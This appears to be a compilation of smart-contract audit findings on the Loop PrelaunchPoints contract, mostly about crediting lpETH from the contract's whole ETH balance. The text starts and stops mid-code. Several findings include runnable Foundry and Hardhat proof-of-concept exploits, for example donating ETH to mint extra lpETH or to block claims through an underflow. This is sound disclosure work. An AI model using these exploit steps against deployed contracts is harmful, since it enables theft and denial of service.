                revert WrongDataTokens(inputToken, outputToken);
            }
  +         if (recipient != address(this)) {
            revert WrongRecipient(recipient);
        } else if (_exchange == Exchange.TransformERC20) {
            (inputToken, outputToken, inputTokenAmount, selector) = _decodeTransformERC20Data(_data);
            if (selector != TRANSFORM_SELECTOR) {
                revert WrongSelector(selector);
            }
            if (outputToken != ETH) {
                revert WrongDataTokens(inputToken, outputToken);
            }
        } else {
            revert WrongExchange();
        }

        if (inputToken != _token) {
            revert WrongDataTokens(inputToken, outputToken);
        }
        if (inputTokenAmount != _amount) {
            revert WrongDataAmount(inputTokenAmount);
        }
_        if (recipient != address(this) && recipient != address(0)) {
            revert WrongRecipient(recipient);
        }
    }

Assessed type

ERC20

Users can receive more lpETH than their locked ETH allows them

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L263

Vulnerability details

Impact

Users can lock less ERC20 and receive more lpETH, by sending ETH directly to the contract before claiming.

Proof of Concept

In the _fillQuote function the boughtETHAmount is calculated.
https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L503
However in the claim function the amount that is actually deposited and given to the user is the balance of the contract:
https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262
This is because of the wrong assumption that the contract will not have any ETH balance after the convertAllETH function is called.
Consider the following scenario:

  1. A user locks only a very small amount of a supported LRT.
  2. The convertAllETH function is called and now claims are unlocked.
  3. The user decides that they want more lpETH. They send ETH directly to the contract right before calling claim. Because of the wrong assumption the user will actually get more lpETH with less locked tokens, which compromises the whole purpose of the locking.

Tools Used

Manual Review

Recommended Mitigation Steps

The _fillQuote function should return the boughtETHAmount and the claimedAmount here:
https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L263
should be replaced with the boughtETHAmount.

Assessed type

ETH-Transfer

Inaccurate Calculation of lpETH During Token Claiming

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L262

Vulnerability details

Impact

The _claim function inaccurately calculates the amount of lpETH to be received when users claim tokens. This inaccuracy stems from directly using address(this).balance to determine the claimed amount, which reflects the total ETH balance of the contract, since the contract implements a receive function any one can send ETH to this contract. This approach doesn't account for the actual amount received after token swapping, leading to potential inconsistencies in the claimed lpETH amount.

Users may receive incorrect amounts of lpETH during the claiming process.

The _claim function swaps tokens other than ETH for ETH and then converts the resulting ETH to lpETH using a 1-to-1 conversion ratio.

However, the claimed amount is determined solely based on the total ETH balance of the contract, which does not accurately represent the amount received after token swapping. anyone can send ETh to this contract.

Proof of Concept

Suppose a user claims 100 tokens, expecting to receive 100 lpETH based on the 1-to-1 conversion ratio. However, due to market conditions, the actual amount of ETH received from the token swap may differ. If the contract directly uses address(this).balance to calculate the claimed lpETH, the user may receive more or fewer lpETH than anticipated, leading to inconsistencies and potential dissatisfaction.

Tools Used

Manual Review

Recommended Mitigation Steps

Implement a mechanism to determine the exact amount of ETH received from the token swap.
Use this actual amount of ETH to calculate the equivalent lpETH and transfer it to the user accordingly.
Ensure that the claimed amount accurately reflects the converted token amount, maintaining fairness and consistency in the claiming process.

Assessed type

Invalid Validation

Malicious users could bypass the lock process to claim any amount of lpETH

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L253-L263
https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L491-L505

Vulnerability details

Impact

During claim process, _claim is called to claim lpETH token to user, whose amount claimedAmount is calculated based on user staked amount during lock period.
However, for the scenario that user stake allowed token to claim lpETH, claimedAmount is calculated using PrelaunchPoints's balance.
So malicious users could send any amount of ETH to PrelaunchPoints and call claim in a single transaction to claim any amount of lpETH they wants, which will make the whole lock process useless.

Proof of Concept

  1. Alice lock x_amount allowed Token to PrelaunchPoints by calling lock
  2. After convertAllETH and time passed startClaimDate, Alice can claim lpETH, whose amount should equals to the amount of ETH swapped by x_amount staked token. Let's define the correct amount of lpETH Alice should get is x_amt_ETH.
    https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L502-L504
        // Use our current buyToken balance to determine how much we've bought.
        boughtETHAmount = address(this).balance - boughtETHAmount;
        emit SwappedTokens(address(_sellToken), _amount, boughtETHAmount);
  1. However, Alice send y_amount ETHs to PrelaunchPoints and call claim in a single transaction, so the actual amount lpETH she can get is y_amount + x_amt_ETH. Since this y_amount can be any number, which means that Alice could claim arbitrary amount of lpETH she wants and thusly make lock process useless.
    https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L261-L263
            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);

Tools Used

Manual Review

Recommended Mitigation Steps

use the swapped amount of ETH in _fillQuote as claimedAmount rather than address(this).balance

Assessed type

Context

Unaccounted ETH Deposits May Lead to Unintended `lpETH` Minting and Staking

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L262

Vulnerability details

Summary:

The PrelaunchPoints contract currently contains logic that allows users to claim their locked funds as lpETH during a claim period. However, there exists a vulnerability where ETH sent to the contract via direct transfer (fallback function) is not accounted for and may result in more lpETH being minted and potentially staked than intended based on a user's legitimate locked tokens balance.

Description:

In the _claim function, after swapping a user's ERC20 tokens for ETH using _fillQuote, the contract mints lpETH using the entire balance of ETH within the contract, rather than only the amount of ETH that was specifically obtained from the swap. This behavior opens up an opportunity for a user to "front-run" their claim by transferring ETH directly to the contract at the time of calling the claim function, leading to a larger amount of lpETH being minted than is due from their locked ERC20 token balance alone.

Impact:

By sending additional ETH to the contract before claiming, a user can artificially inflate the amount of lpETH that they receive, which could lead to an unfair advantage in the staking process. This may, in turn, distort the staking rewards and undermine the prelaunch point system's integrity and intended economics, leading to possible reputational damage and potential financial loss for legitimate participants.

Steps To Reproduce:

  1. Lock an ERC20 token in the contract that is approved for conversion to lpETH.
  2. Call the claim function with parameters to trade the ERC20 for ETH and then mint lpETH.
  3. Immediately before the claim transaction is mined, send ETH directly to the contract's address, triggering the fallback function.
  4. Observe that the contract uses the entire ETH balance, which includes the additional ETH sent unintentionally, to mint lpETH.

Recommendation:

To mitigate this issue, the contract should clearly track and account for the ETH received solely from the execution of the token swap. Only this amount of ETH should be used for the minting of lpETH. The contract can achieve this by checking the ETH balance before and after the swap transaction, using the difference between these balances for minting:

uint256 preSwapBalance = address(this).balance;
// Execute the token to ETH swap
_fillQuote(IERC20(_token), _amount, _swapCallData);
uint256 postSwapBalance = address(this).balance;
// Calculate ETH obtained from the swap
uint256 swappedETHAmount = postSwapBalance - preSwapBalance;
// Only use the swapped ETH amount for lpETH minting
lpETH.deposit{value: swappedETHAmount}(_receiver);

Implementing these changes would ensure that only the ETH obtained from swapping locked ERC20 tokens is used for claiming, thereby preventing manipulation by front-running with direct ETH transfers to the contract.

Assessed type

Other

Users can claim more lpETH than locked ETH in case of someone sends ETH to the contract directly

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L179-L182
https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L321-L322

Vulnerability details

Impact

The contract is designed to receive ETH so that users can use the function lockETH()
to get lpETH (1 to 1 conversion). User deposits are stored in the state variable totalSupply. While converting all user deposited ETH to lpETH via a privileged function convertAllETH(), the ETH balance of the current contract is used instead of the state variable totalSupply. In case that some users mistakenly sent ETH directly to the contract the 1 to 1 conversion ratio of ETH to lpETH will be broken leading to users getting more lpETH than they were supposed to.

Proof of Concept

  • Consider all user ETH deposits in the state variable is 1000.
  • Someone mistakenly had sent 10 ETH directly to the contract.
  • totalBalance variable in the function convertAllETH() will be 1010 resulting in minting of 1010 lpETH. totalLpETH state variable will be also 1010.
  • While user is claiming lpETH, the following formula is used
    claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);

In this situation, all users will get 1.01 more lpETH that the ETH they staked. It will be more if the amount of ETH that was mistakenly sent is higher.

Tools Used

Manual review.

Recommended Mitigation Steps

Use state variable totalSupply in the function convertAllETH instead of "address(this).balance" to calculate the amount to be deposited to lpETH contract.

Assessed type

Invalid Validation

Recipient address(0) may result in loss of funds

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L439

Vulnerability details

Impact

The check in the _validateData function allows address(0) to be the recipient of the ETH received from the swap from exchange. In that case the sell token and Eth both will be lost and also it will lead to miscalculation of userStake.

Proof of Concept

the check here in this line
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L439
will affect the process in the _claim function
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L254
The transaction wont revert and validate the zero address as a recipient and then _fillQuote function will be called and tokens swapped will be sent to recipient address(0), that will lead to the loss of both sell token and ETH bought.

Tools Used

Manual Review

Recommended Mitigation Steps

omit zero address check, allow only contract address to be the recipient of bought Eth from swap.
if (recipient != address(this)) {
revert WrongRecipient(recipient);
}

Assessed type

Other

Users can still "deposit" in order to mint more `lpETH` than they have locked during the lock-up period

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L240-L266

Vulnerability details

Impact

The main invariant : "Deposits are active up to the lpETH contract and lpETHVault contract are set" is broken.

Even though the deposits are not active anymore, users are still able to gain the benefits from depositing and bypass the LRT lock-up period enforced by the protocol to get more lpETH than they are owed.

Proof of concept

The core idea of the PrelaunchPoints.sol contract is that users lock their LRT tokens for a certain period and are able to claim lpETH based upon their stake when this period comes to an end.

When administrators call setLoopAddresses() users can't deposit their LRT anymore and the amount of lpETH they are able to mint is settled.

These lpETH can be claimed using the claim() function after the startClaimDate set by administrators has been reached.

The issue is when the LRT tokens users are trying to claim() from is not ETH nor WETH, the LRT tokens are first swapped to native ETH through the _fillQuote() function.

Right after, the contract uses its new ETH balance to mint the corresponding amount of lpETH which should only be equal to the amount received from the swap.

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L252-L264

// Swap LRT to ETH
_fillQuote(IERC20(_token), userClaim, _data);
// Gets the contract's balance
claimedAmount = address(this).balance;
// Mints lpETH using the contract's balance
lpETH.deposit{value: claimedAmount}(_receiver);

However if a user transfers native ETH to the contract before calling claim(), the amount of lpETH to mint will include the amount of ETH transfered.

This will end up in the user artificially depositing without having to deal with the lock-up period, thus, minting more lpETH tokens than they should have based upon their initial stake.

In the below PoC, we are claiming 100% of our initial deposit but it is possible to claim way less and repeatitively execute the exploit to mint more lpETH

The following PoC will demonstrate the steps to take advantage of the issue.

Add this test to test/PrelaunchPoints0x.test.ts and execute it with

Make sure you have added your 0x API token to your .env file

npx hardhat test --grep "it should claim more"
it(`it should claim more`, async function () {
    let token = tokens[2]; // ezETH
    lockToken = (await ethers.getContractAt(
      "IERC20",
      token.address
    )) as unknown as IERC20

    // Impersonate whale
    const depositorAddress = token.whale
    await impersonateAccount(depositorAddress)
    const depositor = await ethers.getSigner(depositorAddress)
    await setBalance(depositorAddress, parseEther("100"))

    // Get pre-lock balances
    const tokenBalanceBefore = await lockToken.balanceOf(depositor)

    // Lock token in Prelaunch
    await lockToken.connect(depositor).approve(prelaunchPoints, sellAmount)
    await prelaunchPoints
      .connect(depositor)
      .lock(token.address, sellAmount, referral)

    // Get post-lock balances
    const tokenBalanceAfter = await lockToken.balanceOf(depositor)
    const claimToken = token.name == "WETH" ? ETH : token.address
    const lockedBalance = await prelaunchPoints.balances(
      depositor.address,
      claimToken
    )
    expect(tokenBalanceAfter).to.be.eq(tokenBalanceBefore - sellAmount)
    expect(lockedBalance).to.be.eq(sellAmount)

    // Activate claiming
    await prelaunchPoints.setLoopAddresses(lpETH, lpETHVault)
    const newTime =
      (await prelaunchPoints.loopActivation()) +
      (await prelaunchPoints.TIMELOCK()) +
      1n
    await time.increaseTo(newTime)
    await prelaunchPoints.convertAllETH()

    // Get Quote from 0x API
    const headers = { "0x-api-key": ZEROX_API_KEY }
    const quoteResponse = await fetch(
      `https://api.0x.org/swap/v1/quote?buyToken=${ETH}&sellAmount=${sellAmount}&sellToken=${token.address}`,
      { headers }
    )

    // Check for error from 0x API
    if (quoteResponse.status !== 200) {
      const body = await quoteResponse.text()
      throw new Error(body)
    }
    const quote = await quoteResponse.json()

    const exchange = quote.orders[0] ? quote.orders[0].source : ""
    const exchangeCode = exchange == "Uniswap_V3" ? 1 : 0

    // Claim
    console.log("Sending 1 ETH to PrelaunchPoints contract");
    let prelaunchAddress = await prelaunchPoints.getAddress();
    // User sends 1 ETH to the contract
    await depositor.sendTransaction({
      to: prelaunchAddress,
      value: ethers.parseEther("1.0"), // Sends exactly 1.0 ether
    });
    await prelaunchPoints
      .connect(depositor)
      .claim(claimToken, 100, exchangeCode, quote.data)

    expect(await prelaunchPoints.balances(depositor, token.address)).to.be.eq(
      0
    )

    const balanceLpETHAfter = await lpETH.balanceOf(depositor)
    expect(balanceLpETHAfter).to.be.gt((sellAmount * 95n) / 100n)
    console.log("LP ETH balance :", await lpETH.balanceOf(depositor.address));
    return;
})

Tools used

Manual analysis

Recommended mitigation steps

Modify the _fillQuote() function to return boughtETHAmount and use this amount to mint lpETH like such

function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal returns(uint256) {
    // Track our balance of the buyToken to determine how much we've bought.
    uint256 boughtETHAmount = address(this).balance;

    require(_sellToken.approve(exchangeProxy, _amount));

    (bool success,) = payable(exchangeProxy).call{value: 0}(_swapCallData);
    if (!success) {
        revert SwapCallFailed();
    }

    // Use our current buyToken balance to determine how much we've bought.
    boughtETHAmount = address(this).balance - boughtETHAmount;
    emit SwappedTokens(address(_sellToken), _amount, boughtETHAmount);
    return boughtETHAmount;
}

function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
    internal
    returns (uint256 claimedAmount)
{
    uint256 userStake = balances[msg.sender][_token];
    if (userStake == 0) {
        revert NothingToClaim();
    }
    if (_token == ETH) {
        claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
        balances[msg.sender][_token] = 0;
        lpETH.safeTransfer(_receiver, claimedAmount);
    } else {
        uint256 userClaim = userStake * _percentage / 100;
        _validateData(_token, userClaim, _exchange, _data);
        balances[msg.sender][_token] = userStake - userClaim;

        // At this point there should not be any ETH in the contract
        // Swap token to ETH
        claimedAmount = _fillQuote(IERC20(_token), userClaim, _data);

        lpETH.deposit{value: claimedAmount}(_receiver);
    }
    emit Claimed(msg.sender, _token, claimedAmount);
}

Assessed type

Context

Malicious user can lock all lpETH using wrapped LRT from being claimed via a direct donation

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L491-L505

Vulnerability details

Impact

In PreLaunchPoints.sol, users can claim their lpETH after the startClaimDate when all ETH balance within the contract is converted to lpETH via convertAllETH(). Users claim lpETH depending on whether ETH/WETH or wrapped LRTs are locked:

  1. ETH/WETH - 1:1 exchange of amount locked
  2. Wrapped LRTs - A swap is initiated via a uniswapV3 pool and/or other exchanges

However, due to a flaw in _fillQuote() revolving how boughtETHAmount is computed, it can potentially cause a permanent locking in funds. The impact of this is borderline medium/high, given ALL potential users funds are locked but would require the attacker to potentially donate an equal/greater value worth of ETH. Since it is mentioned explicitly as an attack vector to focus on, I will leave as high severity

  • User funds getting locked forever

Proof of Concept

function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal {
    // Track our balance of the buyToken to determine how much we've bought.
    uint256 boughtETHAmount = address(this).balance;

    require(_sellToken.approve(exchangeProxy, _amount));

    (bool success,) = payable(exchangeProxy).call{value: 0}(_swapCallData);
    if (!success) {
        revert SwapCallFailed();
    }

    // Use our current buyToken balance to determine how much we've bought.
    boughtETHAmount = address(this).balance - boughtETHAmount;
    emit SwappedTokens(address(_sellToken), _amount, boughtETHAmount);
}
  1. Assume that 50e18 amount of wrapped LRTs are locked within the PrelaunchPoints.sol contract. When users want to claim the tokens, _fillQuote() is executed to initiate the swap, notice how only userClaim worth of tokens is approved for swap.

  1. Depending on slippage in play and exchange rates, lets assume the maximum amount of ETH that can be exchanged from wrapped LRT would be 51e18 (some tokens could be priced more than ETH).

  1. Notice how boughtETHAmount is computed. At the point of time _fillQuote() is executed, ETH balance would be assumed to be zero. So it is presumed that boughtETHAmount would initially be zero, and thus would never underflow when subsequently recomputed after the swap is completed

  1. However, a malicious user/whale can simply back-run
    convertAllETH(), donate a necessary amount of ETH (For example in this case, 52e18) to essentially lock all users from claiming lpETH from previous positions locked using wrapped LRTs since now the computation of boughtETHAmount would underflow (51e18 - 52e18).

  1. The only way this issue could be elevated would be that the price of wrapped LRTs exceed ETH prices such that the total ETH balance retrieved would be greater than the current artificially inflated boughtETHAmount (which is highliy unlikely). In that case, the attacker can now simply donate a higher amount of funds to continue the attack.

Note that the impact described above is the maximum possible impact, but this issue can also be performed by front-running specific claims with smaller amount of funds to cause underflow, but would possibly not block all claims.

Tools Used

Manual Analysis

Recommended Mitigation Steps

Remove the computation of boughtETHAmount and track it off-chain, since it is not used within inscope contract.If not, consider allowing admin to retrieve any additional ETH donated that does not stem from honest locking positions represented by totalSupply.

Assessed type

DoS

Users are able to get more lpETH tokens than they have staked for during the locking period

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L172
https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L240

Vulnerability details

Impact

The PrelaunchPoints contract allows a user to lock a very small amount of LRT tokens, and right before or during a claim, the user can transfer a large amount of ETH directly to the contract.

Originally, by design, lpETH tokens should be gained only from the contract by staking LRT tokens during the locking period and then claiming them after the locking period has ended.

However, using the method described above, a user will end up avoiding uncertainty and risks associated with the staking process and being able to claim as many LRT tokens as they want even after the locking period has ended. Even though the user isn't getting those lpETH tokens for free, the user is bypassing the staking process and avoiding the risks associated with it.

Following that, the documentation also states, "Deposits are active up to the lpETH contract and lpETHVault contract are set" which is an invariant, that is broken here and further more confirms this finding.

Example scenario

The amounts are simplified for the sake of easier understanding

  • Alice locks 1 LRT token and stakes it.
  • Some time passes and the locking period ends.
  • Before claiming, Alice sends large amount of ETH directly to the contract to gain more lpETH tokens than they have staked for during the locking period.
  • Alice claims the staked amount and receives 10 lpETH tokens.
  • Alice now has 10 lpETH tokens, even though they have only staked 1 LRT token during the locking period.

Proof of Concept

The following Foundry test can be added to test/PrelaunchPoints.t.sol to demonstrate this finding:

Run the test using this command:
forge test --match-test "test_DepositAndStakeAfterTheClaimStartDate" -vv

function test_DepositAndStakeAfterTheClaimStartDate() public {
        uint256 lockAmount = 1;
        address user1 = vm.addr(1);

        lrt.mint(user1, lockAmount);

        vm.startPrank(user1);
        lrt.approve(address(prelaunchPoints), lockAmount);
        // Alice locks 1 LRT token
        prelaunchPoints.lock(address(lrt), lockAmount, referral);
        vm.stopPrank();

        // Set Loop Contracts and Convert to lpETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));

        // Locking period ends
        vm.warp(
            prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1
        );
        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);

        bytes memory data = abi.encodeWithSelector(
            0x415565b0,
            address(lrt),
            ETH,
            ((lockAmount * 1) / 100)
        );

        vm.deal(user1, 10);
        vm.prank(user1);
        // Alice sends 10 wei directly to the contract, AFTER the locking period has ended
        (bool success, ) = address(prelaunchPoints).call{value: 10}("");

        uint256 temp = lpETH.balanceOf(address(user1));
        console.log("Alice's lpETH tokens before: ", temp);

        vm.prank(user1);
        // Alice claims the staked amount and receives 10 lpETH tokens
        // Originally, Alice should have received 1 lpETH as she locked only 1 LRT token, but she received 10 lpETH tokens
        prelaunchPoints.claim(
            address(lrt),
            1,
            PrelaunchPoints.Exchange.TransformERC20,
            data
        );

        temp = lpETH.balanceOf(address(user1));
        console.log("Alice's lpETH tokens after: ", temp);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Disabling the transfer of ETH directly to the contract after the locking period or disabling the transfer of ETH directly as a whole are some possible solutions.

Assessed type

ETH-Transfer

User can maliciously lock specific tokens (`ETH` and `WETH`) to gain additional `lpETH` tokens unfairly, if `ETH` was mistakenly deposited by someone.

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L240-L266
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L321-L324
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L179-L195

Vulnerability details

Impact

When someone mistakenly deposits ETH to the PrelaunchPoints contract it is supposed to be locked forever, however when the owner calls PrelaunchPoints::convertAllETH function all ETH balance is converted into lpETH including the mistakenly sent ETH.

Now the variable totalSupply only got updated inside PrelaunchPoints::_processLock function when ETH/WETH was deposited. Meanwhile totalLpETH was set inside PrelaunchPoints::convertAllETH method and could be a much larger value.

When a user who locked ETH/WETH calls the PrelaunchPoints::claim or PrelaunchPoints::claimAndStake functions, they receive a much larger amount of lpETH than the ETH/WETH they originally locked.
However, users who locked any other LRTs don't receive this added benefit from the tokens which were supposed to be locked forever, and thereby giving them unfair disadvantage.

        if (_token == ETH) {
 @>         claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);
        }

Proof of Concept

Paste this in PrelaunchPointsTest contract inside test/PrelaunchPoints.t.sol file.

    function testUnfairRewards(uint256 lockAmount) public {
        lockAmount = bound(lockAmount, 1, 1e36);
        vm.deal(address(1), lockAmount);
        vm.deal(address(2), lockAmount);

        // Someone deposits `lockAmount` ETH to the contract mistakenly.
        vm.deal(address(prelaunchPoints), lockAmount);

        // User 1 locks `lockAmount` ETH
        vm.prank(address(1));
        prelaunchPoints.lockETH{value: lockAmount}(referral);
        // User 2 locks `lockAmount` ETH
        vm.prank(address(2));
        prelaunchPoints.lockETH{value: lockAmount}(referral);

        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));

        vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);
        prelaunchPoints.convertAllETH();

        // `totalSupply` variable is 2*lockAmount
        assertEq(prelaunchPoints.totalSupply(), 2*lockAmount);
        // `totalLpETH` variable is 3*lockAmount
        assertEq(prelaunchPoints.totalLpETH(), 3*lockAmount);
        // The contract has 3*lockAmount of lpETH token
        assertEq(lpETH.balanceOf(address(prelaunchPoints)), 3*lockAmount);
        assertEq(prelaunchPoints.startClaimDate(), block.timestamp);

        vm.warp(prelaunchPoints.startClaimDate() + 1);
        vm.prank(address(1));
        // User 1 claims his `lpETH` tokens
        prelaunchPoints.claim(ETH, 100, PrelaunchPoints.Exchange.UniswapV3, emptydata);

        // User 1 should have received lockAmount amount of lpETH tokens
        // But User 1 received 3*lockAmount/2 amount of lpETH tokens
        // Any user aware of any mistakenly deposited ETH can lock ETH and claim more lpETH tokens
        // Mistakenly deposited ETH can be checked through the block explorer
        // Mistakenly deposited ETH can't be withdrawn by the contract owner
        assertEq(lpETH.balanceOf(address(1)), 3*lockAmount/2);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Instead of converting the whole balance of PrelaunchPoints contract, only convert the amount stored in PrelaunchPoints::totalSupply variable to lpETH tokens, and send the remaining ETH to the owner. This prevents giving unfair disadvantage to those who locked LRTs.

    function convertAllETH() external onlyAuthorized onlyBeforeDate(startClaimDate) {
        if (block.timestamp - loopActivation <= TIMELOCK) {
            revert LoopNotActivated();
        }

        // deposits all the ETH to lpETH contract. Receives lpETH back
-       uint256 totalBalance = address(this).balance;
-       lpETH.deposit{value: totalBalance}(address(this));
+       lpETH.deposit{value: totalSupply}(address(this));

        totalLpETH = lpETH.balanceOf(address(this));

        // Claims of lpETH can start immediately after conversion.
        startClaimDate = uint32(block.timestamp);

+       owner.transfer(address(this).balance);

        emit Converted(totalBalance, totalLpETH);
    }

Assessed type

Token-Transfer

it is possible to claim `lpETH` anytime after the `startClaimDate` without locking assets from before

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262

Vulnerability details

Impact

A malicious user can lock a minimum amount of an allowed ERC20 token like DAI during the lock time. They can then wait until the claim date begins and send Ether directly to the PrelaunchPoints contract. Afterward, they can call the claim() or claimAndStake() function.

This allows the user to claim lpETH based on the amount of Ether they just sent to PrelaunchPoints, not the amount they locked before, during the locking time.

The issue lies in the _claim() function where the claimedAmount is determined by address(this).balance, which can be manipulated by the user by sending Ether directly.

Proof of Concept

The foundry test testClaimLpEthWihtoutLocking demonstrates how this bug can be exploited.

./test/Bug.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/PrelaunchPoints.sol";
import "../src/interfaces/ILpETH.sol";

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../src/mock/MockLpETH.sol";
import "../src/mock/MockLpETHVault.sol";
import {ERC20Token} from "../src/mock/MockERC20.sol";
import {LRToken} from "../src/mock/MockLRT.sol";

import "forge-std/console.sol";

contract Bug is Test {
    PrelaunchPoints public prelaunchPoints;

    ILpETH public lpETH;
    ILpETHVault public lpETHVault;
    ERC20Token public dai;
    bytes32 referral = bytes32(uint256(1));

    address constant EXCHANGE_PROXY = 0xDef1C0ded9bec7F1a1670819833240f027b25EfF;
    address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address[] public allowedTokens;

    function setUp() public {
        dai = ERC20Token(DAI);

        address[] storage allowedTokens_ = allowedTokens;
        allowedTokens_.push(DAI);

        prelaunchPoints = new PrelaunchPoints(EXCHANGE_PROXY, WETH, allowedTokens_);

        lpETH = new MockLpETH();
        lpETHVault = new MockLpETHVault();
    }

    function testClaimLpEthWihtoutLocking() public {
        address user = makeAddr("maliciousUser");

        // provide user with 1 dai and 1 ether
        uint daiAmount = 1e18;
        vm.deal(user, 1 ether);
        deal(DAI, user, daiAmount, true);

        // user lock 1 dai in prelaunchpoints contract
        vm.startPrank(user);
        dai.approve(address(prelaunchPoints), daiAmount);
        prelaunchPoints.lock(DAI, daiAmount, referral);
        vm.stopPrank();

        // owner set loop addresses
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));

        // 7 days pass
        vm.warp(block.timestamp + prelaunchPoints.TIMELOCK() + 1);

        // owner converts ETHs to lpETHs
        prelaunchPoints.convertAllETH();

        // after 1 second users are able to claim their lpETHs
        vm.warp(block.timestamp + 1);

        // fetching quote data from 0x api using getSwapData.js
        string[] memory cmds = new string[](2);
        cmds[0] = "node";
        cmds[1] = "./test/getSwapData.js";
        bytes memory data = vm.ffi(cmds);

        vm.startPrank(user);
        // user sends 1 ether directly
        payable(address(prelaunchPoints)).transfer(1 ether);
        // then calls claim function
        prelaunchPoints.claim(
            DAI,
            100,
            PrelaunchPoints.Exchange.TransformERC20,
            data
        );
        vm.stopPrank();

        uint balance = lpETH.balanceOf(user);
        console.log(balance);

        // this being true means, user can get lpETHs instantly without locking his ETHs
        assert(balance >= 1e18);
    }
}

the file used alongside foundry test to get 0x api swap data

./test/getSwapData.js

const ZEROX_API_KEY = "";
const ETH = "0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE";
const DAI = "0x6B175474E89094C44Da98b954EedeAC495271d0F";
const AMOUNT = 1e18;


// Get Quote from 0x API
const headers = { "0x-api-key": ZEROX_API_KEY }

fetch(`https://api.0x.org/swap/v1/quote?buyToken=${ETH}&sellAmount=${AMOUNT}&sellToken=${DAI}&includedSources=Uniswap_V3`,
    { headers }
).then((quoteResponse) => {

    quoteResponse.json().then((quote) => {
        console.log(quote.data)
    })

})

Tools Used

Manual audit

Foundry

Recommended Mitigation Steps

easiest way to fix this issue is to modify the _fillQuote function to return the boughtETHAmount and in the _claim() function, set the claimedAmount equal to it.

-  function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal {
+  function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal returns (uint256 boughtETHAmount) {
        // Track our balance of the buyToken to determine how much we've bought.
        //ai bad variable naming
-        uint256 boughtETHAmount = address(this).balance;
+        boughtETHAmount = address(this).balance;

        require(_sellToken.approve(exchangeProxy, _amount));

        (bool success,) = payable(exchangeProxy).call{value: 0}(_swapCallData);
        if (!success) {
            revert SwapCallFailed();
        }

        // Use our current buyToken balance to determine how much we've bought.
        boughtETHAmount = address(this).balance - boughtETHAmount;
